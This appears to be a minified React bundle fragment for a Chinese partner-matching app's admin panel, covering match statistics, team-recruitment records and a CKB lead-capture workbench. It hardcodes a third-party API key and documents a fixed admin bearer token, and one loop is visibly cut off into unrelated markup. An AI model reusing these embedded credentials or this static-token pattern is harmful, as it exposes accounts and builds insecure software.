hover:text-white"}`,children:"导师管理"})]}),t==="booking"&&s.jsx(LV,{}),t==="manage"&&s.jsx("div",{className:"-mx-8",children:s.jsx(B4,{embedded:!0})})]})}function zV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(!0);async function f(){h(!0);try{const g=new URLSearchParams({page:String(a),pageSize:String(o),matchType:"team"}),y=await De(`/api/db/match-records?${g}`);y!=null&&y.success&&(e(y.records||[]),r(y.total??0))}catch(g){console.error(g)}finally{h(!1)}}b.useEffect(()=>{f()},[a]);const m=Math.ceil(n/o)||1;return s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("div",{children:[s.jsxs("p",{className:"text-gray-400",children:["团队招募匹配记录,共 ",n," 条"]}),s.jsx("p",{className:"text-gray-500 text-xs mt-1",children:"用户通过「团队招募」提交联系方式到存客宝"})]}),s.jsxs("button",{type:"button",onClick:f,disabled:u,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(qe,{className:`w-4 h-4 ${u?"animate-spin":""}`})," 刷新"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:u?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"时间"})]})}),s.jsxs(dr,{children:[t.map(g=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{className:"text-white",children:g.userNickname||g.userId}),s.jsx(ve,{className:"text-white",children:g.matchedNickname||g.matchedUserId}),s.jsxs(ve,{className:"text-gray-400 text-sm",children:[g.phone&&s.jsxs("div",{children:["📱 ",g.phone]}),g.wechatId&&s.jsxs("div",{children:["💬 ",g.wechatId]}),!g.phone&&!g.wechatId&&"-"]}),s.jsx(ve,{className:"text-gray-400",children:g.createdAt?new Date(g.createdAt).toLocaleString():"-"})]},g.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:4,className:"text-center py-12 text-gray-500",children:"暂无团队招募记录"})})]})]}),s.jsx(is,{page:a,totalPages:m,total:n,pageSize:o,onPageChange:i,onPageSizeChange:g=>{c(g),i(1)}})]})})})]})}const Mw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"},Aw={partner:"⭐",investor:"👥",mentor:"❤️",team:"🎮"};function $V({onSwitchTab:t,onOpenCKB:e}={}){const n=Ci(),[r,a]=b.useState(null),[i,o]=b.useState(null),[c,u]=b.useState(!0),h=b.useCallback(async()=>{var m,g;u(!0);try{const[y,N]=await Promise.allSettled([De("/api/db/match-records?stats=true"),De("/api/db/ckb-plan-stats")]);if(y.status==="fulfilled"&&((m=y.value)!=null&&m.success)&&y.value.data){let w=y.value.data;if(w.totalMatches>0&&(!w.uniqueUsers||w.uniqueUsers===0))try{const v=await De("/api/db/match-records?page=1&pageSize=200");if(v!=null&&v.success&&v.records){const k=new Set(v.records.map(C=>C.userId).filter(Boolean));w={...w,uniqueUsers:k.size}}}catch{}a(w)}N.status==="fulfilled"&&((g=N.value)!=null&&g.success)&&N.value.data&&o(N.value.data)}catch(y){console.error("加载统计失败:",y)}finally{u(!1)}},[]);b.useEffect(()=>{h()},[h]);const f=m=>c?"—":String(m??0);return s.jsxs("div",{className:"space-y-8",children:[s.jsxs("div",{children:[s.jsxs("h3",{className:"text-lg font-semibold text-white mb-4 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"})," 找伙伴数据"]}),s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-3 gap-5",children:[s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-[#38bdac]/60 transition-all",onClick:()=>t==null?void 0:t("partner"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"总匹配次数"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.totalMatches)}),s.jsxs("p",{className:"text-[#38bdac] text-xs mt-3 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 查看匹配记录"]})]})}),s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-yellow-500/60 transition-all",onClick:()=>t==null?void 0:t("partner"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"今日匹配"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.todayMatches)}),s.jsxs("p",{className:"text-yellow-400/60 text-xs mt-3 flex items-center gap-1",children:[s.jsx(li,{className:"w-3 h-3"})," 今日实时"]})]})}),s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-blue-500/60 transition-all",onClick:()=>n("/users"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"匹配用户数"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.uniqueUsers)}),s.jsxs("p",{className:"text-blue-400/60 text-xs mt-3 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 查看用户管理"]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/40",children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"人均匹配"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":r!=null&&r.uniqueUsers?(r.totalMatches/r.uniqueUsers).toFixed(1):"0"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/40",children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"付费匹配次数"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:f(r==null?void 0:r.paidMatchCount)})]})})]})]}),(r==null?void 0:r.byType)&&r.byType.length>0&&s.jsxs("div",{children:[s.jsx("h3",{className:"text-lg font-semibold text-white mb-4",children:"各类型匹配分布"}),s.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-4",children:r.byType.map(m=>{const g=r.totalMatches>0?m.count/r.totalMatches*100:0;return s.jsxs("div",{className:"bg-[#0f2137] border border-gray-700/40 rounded-xl p-5",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx("span",{className:"text-2xl",children:Aw[m.matchType]||"📊"}),s.jsx("span",{className:"text-gray-300 font-medium",children:Mw[m.matchType]||m.matchType})]}),s.jsx("p",{className:"text-3xl font-bold text-white mb-2",children:m.count}),s.jsx("div",{className:"w-full h-2 bg-gray-700/50 rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac] rounded-full transition-all",style:{width:`${Math.min(g,100)}%`}})}),s.jsxs("p",{className:"text-gray-500 text-xs mt-1.5",children:[g.toFixed(1),"%"]})]},m.matchType)})})]}),s.jsxs("div",{children:[s.jsxs("h3",{className:"text-lg font-semibold text-white mb-4 flex items-center gap-2",children:[s.jsx(Ss,{className:"w-5 h-5 text-orange-400"})," AI 获客数据"]}),s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-3 gap-5 mb-6",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("submitted"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"已提交线索"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":(i==null?void 0:i.ckbTotal)??0}),s.jsx("p",{className:"text-orange-400/60 text-xs mt-2",children:"点击查看明细 →"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("contact"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"有联系方式"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":(i==null?void 0:i.withContact)??0}),s.jsx("p",{className:"text-orange-400/60 text-xs mt-2",children:"点击查看明细 →"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("test"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"AI 添加进度"}),s.jsx("p",{className:"text-xl font-bold text-orange-400",children:"查看详情 →"}),s.jsx("p",{className:"text-gray-500 text-xs mt-2",children:"添加成功率 · 回复率 · API 文档"})]})})]}),(i==null?void 0:i.byType)&&i.byType.length>0&&s.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-3 mb-6",children:i.byType.map(m=>s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-lg p-4 flex items-center gap-3",children:[s.jsx("span",{className:"text-xl",children:Aw[m.matchType]||"📋"}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-xs",children:Mw[m.matchType]||m.matchType}),s.jsx("p",{className:"text-xl font-bold text-white",children:m.total})]})]},m.matchType))})]})]})}const FV=["partner","investor","mentor","team"],wg=[{key:"join_partner",label:"找伙伴场景"},{key:"join_investor",label:"资源对接场景"},{key:"join_mentor",label:"导师顾问场景"},{key:"join_team",label:"团队招募场景"},{key:"match",label:"匹配上报"},{key:"lead",label:"链接卡若"}],Iw=`# 场景获客接口摘要 - 地址:POST /v1/api/scenarios - 必填:apiKey、sign、timestamp - 主标识:phone 或 wechatId 至少一项 - 可选:name、source、remark、tags、siteTags、portrait - 签名:排除 sign/apiKey/portrait,键名升序拼接值后双重 MD5 -- 成功:code=200,message=新增成功 或 已存在`;function BV({initialTab:t="overview"}){const[e,n]=b.useState(t),[r,a]=b.useState("13800000000"),[i,o]=b.useState(""),[c,u]=b.useState(""),[h,f]=b.useState(Iw),[m,g]=b.useState(!1),[y,N]=b.useState(!1),[w,v]=b.useState([]),[k,C]=b.useState([]),[E,T]=b.useState({}),[I,O]=b.useState([{endpoint:"/api/ckb/join",label:"找伙伴",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"资源对接",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"导师顾问",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"团队招募",method:"POST",status:"idle"},{endpoint:"/api/ckb/match",label:"匹配上报",method:"POST",status:"idle"},{endpoint:"/api/miniprogram/ckb/lead",label:"链接卡若",method:"POST",status:"idle"},{endpoint:"/api/match/config",label:"匹配配置",method:"GET",status:"idle"}]),L=b.useMemo(()=>{const $={};return wg.forEach(H=>{$[H.key]=E[H.key]||{apiUrl:"https://ckbapi.quwanzhi.com/v1/api/scenarios",apiKey:"fyngh-ecy9h-qkdae-epwd5-rz6kd",source:"",tags:"",siteTags:"创业实验APP",notes:""}}),$},[E]),R=$=>{const H=r.trim(),oe=i.trim();return $<=3?{type:FV[$],phone:H||void 0,wechat:oe||void 0,userId:"admin_test",name:"后台测试"}:$===4?{matchType:"partner",phone:H||void 0,wechat:oe||void 0,userId:"admin_test",nickname:"后台测试",matchedUser:{id:"test",nickname:"测试",matchScore:88}}:$===5?{phone:H||void 0,wechatId:oe||void 0,userId:"admin_test",name:"后台测试"}:{}};async function D(){N(!0);try{const[$,H,oe]=await Promise.all([De("/api/db/config/full?key=ckb_config"),De("/api/db/ckb-leads?mode=submitted&page=1&pageSize=50"),De("/api/db/ckb-leads?mode=contact&page=1&pageSize=50")]),P=$==null?void 0:$.data;P!=null&&P.routes&&T(P.routes),P!=null&&P.docNotes&&u(P.docNotes),P!=null&&P.docContent&&f(P.docContent),H!=null&&H.success&&v(H.records||[]),oe!=null&&oe.success&&C(oe.records||[])}finally{N(!1)}}b.useEffect(()=>{n(t)},[t]),b.useEffect(()=>{D()},[]);async function _(){g(!0);try{const $=await vt("/api/db/config",{key:"ckb_config",value:{routes:L,docNotes:c,docContent:h},description:"存客宝接口配置"});ie.error(($==null?void 0:$.success)!==!1?"存客宝配置已保存":`保存失败: ${($==null?void 0:$.error)||"未知错误"}`)}catch($){ie.error(`保存失败: ${$ instanceof Error?$.message:"网络错误"}`)}finally{g(!1)}}const Z=($,H)=>{T(oe=>({...oe,[$]:{...L[$],...H}}))},ne=async $=>{const H=I[$];if(H.method==="POST"&&!r.trim()&&!i.trim()){ie.error("请填写测试手机号");return}const oe=[...I];oe[$]={...H,status:"testing",message:void 0,responseTime:void 0},O(oe);const P=performance.now();try{const K=H.method==="GET"?await De(H.endpoint):await vt(H.endpoint,R($)),V=Math.round(performance.now()-P),z=(K==null?void 0:K.message)||"",U=(K==null?void 0:K.success)===!0||z.includes("已存在")||z.includes("已加入")||z.includes("已提交"),le=[...I];le[$]={...H,status:U?"success":"error",message:z||(U?"正常":"异常"),responseTime:V},O(le),await D()}catch(K){const V=Math.round(performance.now()-P),z=[...I];z[$]={...H,status:"error",message:K instanceof Error?K.message:"失败",responseTime:V},O(z)}},fe=async()=>{if(!r.trim()&&!i.trim()){ie.error("请填写测试手机号");return}for(let $=0;$s.jsx("div",{className:"overflow-auto rounded-lg border border-gray-700/30",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{className:"bg-[#0a1628] text-gray-400",children:s.jsxs("tr",{children:[s.jsx("th",{className:"text-left px-4 py-3",children:"发起人"}),s.jsx("th",{className:"text-left px-4 py-3",children:"类型"}),s.jsx("th",{className:"text-left px-4 py-3",children:"手机号"}),s.jsx("th",{className:"text-left px-4 py-3",children:"微信号"}),s.jsx("th",{className:"text-left px-4 py-3",children:"时间"})]})}),s.jsx("tbody",{children:$.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:5,className:"text-center py-10 text-gray-500",children:H})}):$.map(oe=>s.jsxs("tr",{className:"border-t border-gray-700/30",children:[s.jsx("td",{className:"px-4 py-3 text-white",children:oe.userNickname||oe.userId}),s.jsx("td",{className:"px-4 py-3 text-gray-300",children:oe.matchType}),s.jsx("td",{className:"px-4 py-3 text-green-400",children:oe.phone||"—"}),s.jsx("td",{className:"px-4 py-3 text-blue-400",children:oe.wechatId||"—"}),s.jsx("td",{className:"px-4 py-3 text-gray-400",children:oe.createdAt?new Date(oe.createdAt).toLocaleString():"—"})]},oe.id))})]})});return s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/30 mb-6",children:s.jsxs(Ee,{className:"p-5",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h3",{className:"text-white font-semibold",children:"存客宝工作台"}),s.jsx(qe,{className:"bg-orange-500/20 text-orange-400 border-0 text-xs",children:"CKB"}),s.jsxs("button",{type:"button",onClick:()=>n("doc"),className:"text-orange-400/60 text-xs hover:text-orange-400 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," API 文档"]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs(te,{onClick:()=>D(),variant:"outline",size:"sm",className:"border-gray-700 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-3.5 h-3.5 mr-1 ${y?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:_,disabled:m,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-3.5 h-3.5 mr-1"})," ",m?"保存中...":"保存配置"]})]})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mb-5",children:[["overview","概览"],["submitted","已提交线索"],["contact","有联系方式"],["config","场景配置"],["test","接口测试"],["doc","API 文档"]].map(([$,H])=>s.jsx("button",{type:"button",onClick:()=>n($),className:`px-4 py-2 rounded-lg text-sm transition-colors ${e===$?"bg-orange-500 text-white":"bg-[#0a1628] text-gray-400 hover:text-white"}`,children:H},$))}),e==="overview"&&s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-4",children:[s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"已提交线索"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:w.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"有联系方式"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:k.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"场景配置数"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:wg.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"文档备注"}),s.jsx("p",{className:"text-sm text-gray-300 line-clamp-3",children:c||"未填写"})]})]}),e==="submitted"&&xe(w,"暂无已提交线索"),e==="contact"&&xe(k,"暂无有联系方式线索"),e==="config"&&s.jsx("div",{className:"space-y-4",children:wg.map($=>s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("h4",{className:"text-white font-medium",children:$.label}),s.jsx(qe,{className:"bg-orange-500/20 text-orange-300 border-0 text-xs",children:$.key})]}),s.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"API 地址"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].apiUrl,onChange:H=>Z($.key,{apiUrl:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"API Key"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].apiKey,onChange:H=>Z($.key,{apiKey:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"Source"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].source,onChange:H=>Z($.key,{source:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"Tags"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].tags,onChange:H=>Z($.key,{tags:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"SiteTags"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].siteTags,onChange:H=>Z($.key,{siteTags:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"说明备注"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].notes,onChange:H=>Z($.key,{notes:H.target.value})})]})]})]},$.key))}),e==="test"&&s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"flex gap-3 mb-4",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-1",children:[s.jsx(yi,{className:"w-4 h-4 text-gray-500 shrink-0"}),s.jsxs("div",{className:"flex-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"测试手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm mt-0.5",value:r,onChange:$=>a($.target.value)})]})]}),s.jsxs("div",{className:"flex items-center gap-2 flex-1",children:[s.jsx("span",{className:"text-gray-500 text-sm shrink-0",children:"💬"}),s.jsxs("div",{className:"flex-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"微信号(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm mt-0.5",value:i,onChange:$=>o($.target.value)})]})]}),s.jsx("div",{className:"flex items-end",children:s.jsxs(te,{onClick:fe,className:"bg-orange-500 hover:bg-orange-600 text-white",children:[s.jsx(li,{className:"w-3.5 h-3.5 mr-1"})," 全部测试"]})})]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-2",children:I.map(($,H)=>s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded-lg px-3 py-2 border border-gray-700/30",children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0",children:[$.status==="idle"&&s.jsx("div",{className:"w-2 h-2 rounded-full bg-gray-600 shrink-0"}),$.status==="testing"&&s.jsx(Ke,{className:"w-3 h-3 text-yellow-400 animate-spin shrink-0"}),$.status==="success"&&s.jsx(Mg,{className:"w-3 h-3 text-green-400 shrink-0"}),$.status==="error"&&s.jsx(Jw,{className:"w-3 h-3 text-red-400 shrink-0"}),s.jsx("span",{className:"text-white text-xs truncate",children:$.label})]}),s.jsxs("div",{className:"flex items-center gap-1.5 shrink-0",children:[$.responseTime!==void 0&&s.jsxs("span",{className:"text-gray-600 text-[10px]",children:[$.responseTime,"ms"]}),s.jsx("button",{type:"button",onClick:()=>ne(H),disabled:$.status==="testing",className:"text-orange-400/60 hover:text-orange-400 text-[10px] disabled:opacity-50",children:"测试"})]})]},`${$.endpoint}-${H}`))})]}),e==="doc"&&s.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("h4",{className:"text-white text-sm font-medium",children:"场景获客 API 摘要"}),s.jsxs("a",{href:"https://ckbapi.quwanzhi.com/v1/api/scenarios",target:"_blank",rel:"noreferrer",className:"text-orange-400/70 hover:text-orange-400 text-xs flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 打开外链"]})]}),s.jsx("pre",{className:"whitespace-pre-wrap text-xs text-gray-400 leading-6",children:h||Iw})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsx("h4",{className:"text-white text-sm font-medium mb-3",children:"说明备注(可编辑)"}),s.jsx("textarea",{className:"w-full min-h-[260px] bg-[#0f2137] border border-gray-700 rounded-md text-sm text-gray-300 p-3 outline-none focus:border-orange-500/50 resize-y",value:c,onChange:$=>u($.target.value),placeholder:"记录 Token、入口差异、回复率统计规则、对接约定等。"})]})]})]})})}const VV=[{id:"stats",label:"数据统计",icon:Tg},{id:"partner",label:"找伙伴",icon:Zn},{id:"resource",label:"资源对接",icon:EM},{id:"mentor",label:"导师预约",icon:kM},{id:"team",label:"团队招募",icon:Lg}];function HV(){const[t,e]=b.useState("stats"),[n,r]=b.useState(!1),[a,i]=b.useState("overview");return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"mb-6 flex items-start justify-between gap-4",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-6 h-6 text-[#38bdac]"}),"找伙伴"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"数据统计、匹配池与记录、资源对接、导师预约、团队招募"})]}),s.jsxs(te,{type:"button",variant:"outline",onClick:()=>r(o=>!o),className:"border-orange-500/40 text-orange-300 hover:bg-orange-500/10 bg-transparent",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"存客宝"]})]}),n&&s.jsx(BV,{initialTab:a}),s.jsx("div",{className:"flex flex-wrap gap-1 mb-6 bg-[#0f2137] rounded-lg p-1 border border-gray-700/50",children:VV.map(o=>{const c=t===o.id;return s.jsxs("button",{type:"button",onClick:()=>e(o.id),className:`flex items-center gap-2 px-5 py-2.5 rounded-md text-sm font-medium transition-all ${c?"bg-[#38bdac] text-white shadow-lg":"text-gray-400 hover:text-white hover:bg-gray-700/50"}`,children:[s.jsx(o.icon,{className:"w-4 h-4"}),o.label]},o.id)})}),t==="stats"&&s.jsx($V,{onSwitchTab:o=>e(o),onOpenCKB:o=>{i(o||"overview"),r(!0)}}),t==="partner"&&s.jsx(PV,{}),t==="resource"&&s.jsx(OV,{}),t==="mentor"&&s.jsx(_V,{}),t==="team"&&s.jsx(zV,{})]})}function WV(){return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-8",children:[s.jsx(Ss,{className:"w-8 h-8 text-[#38bdac]"}),s.jsx("h1",{className:"text-2xl font-bold text-white",children:"API 接口文档"})]}),s.jsx("p",{className:"text-gray-400 mb-6",children:"API 风格:RESTful · 版本 v1.0 · 基础路径 /api · 简单、清晰、易用。"}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"1. 接口总览"})}),s.jsxs(Ee,{className:"space-y-4 text-sm",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 mb-2",children:"接口分类"}),s.jsxs("ul",{className:"space-y-1 text-gray-300 font-mono",children:[s.jsx("li",{children:"/api/book — 书籍内容(章节列表、内容获取、同步)"}),s.jsx("li",{children:"/api/payment — 支付系统(订单创建、回调、状态查询)"}),s.jsx("li",{children:"/api/referral — 分销系统(邀请码、收益、提现)"}),s.jsx("li",{children:"/api/user — 用户系统(登录、注册、信息更新)"}),s.jsx("li",{children:"/api/match — 匹配系统(寻找匹配、匹配历史)"}),s.jsx("li",{children:"/api/admin — 管理后台(内容/订单/用户/分销管理)"}),s.jsx("li",{children:"/api/config — 配置系统"})]})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 mb-2",children:"认证方式"}),s.jsx("p",{className:"text-gray-300",children:"用户:Cookie session_id(可选)"}),s.jsx("p",{className:"text-gray-300",children:"管理端:Authorization: Bearer admin-token-secret"})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"2. 书籍内容"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"GET /api/book/all-chapters — 获取所有章节"}),s.jsx("p",{children:"GET /api/book/chapter/:id — 获取单章内容"}),s.jsx("p",{children:"POST /api/book/sync — 同步章节(需管理员认证)"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"3. 支付"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"POST /api/payment/create-order — 创建订单"}),s.jsx("p",{children:"POST /api/payment/alipay/notify — 支付宝回调"}),s.jsx("p",{children:"POST /api/payment/wechat/notify — 微信回调"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"4. 分销与用户"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"/api/referral/* — 邀请码、收益查询、提现"}),s.jsx("p",{children:"/api/user/* — 登录、注册、信息更新"}),s.jsx("p",{children:"/api/match/* — 匹配、匹配历史"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"5. 管理后台"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"GET/POST /api/admin/referral-settings — 推广/分销设置(含 VIP 配置)"}),s.jsx("p",{children:"GET /api/db/users、/api/db/book — 用户与章节数据"}),s.jsx("p",{children:"GET /api/admin/orders — 订单列表"})]})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"完整说明见项目内 开发文档/5、接口/API接口完整文档.md"})]})}function UV(){const t=Si();return s.jsx("div",{className:"min-h-screen bg-[#0a1628] flex items-center justify-center p-8",children:s.jsxs("div",{className:"text-center max-w-md",children:[s.jsx("div",{className:"inline-flex items-center justify-center w-20 h-20 rounded-full bg-red-500/20 text-red-400 mb-6",children:s.jsx(qw,{className:"w-10 h-10"})}),s.jsx("h1",{className:"text-4xl font-bold text-white mb-2",children:"404"}),s.jsx("p",{className:"text-gray-400 mb-1",children:"页面不存在"}),s.jsx("p",{className:"text-sm text-gray-500 font-mono mb-8 break-all",children:t.pathname}),s.jsx(te,{asChild:!0,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:s.jsxs(Eg,{to:"/",children:[s.jsx(LM,{className:"w-4 h-4 mr-2"}),"返回首页"]})})]})})}function KV(){return 